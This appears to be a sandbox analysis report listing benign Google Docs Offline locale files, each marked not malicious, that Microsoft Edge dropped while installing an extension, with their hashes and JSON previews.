C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
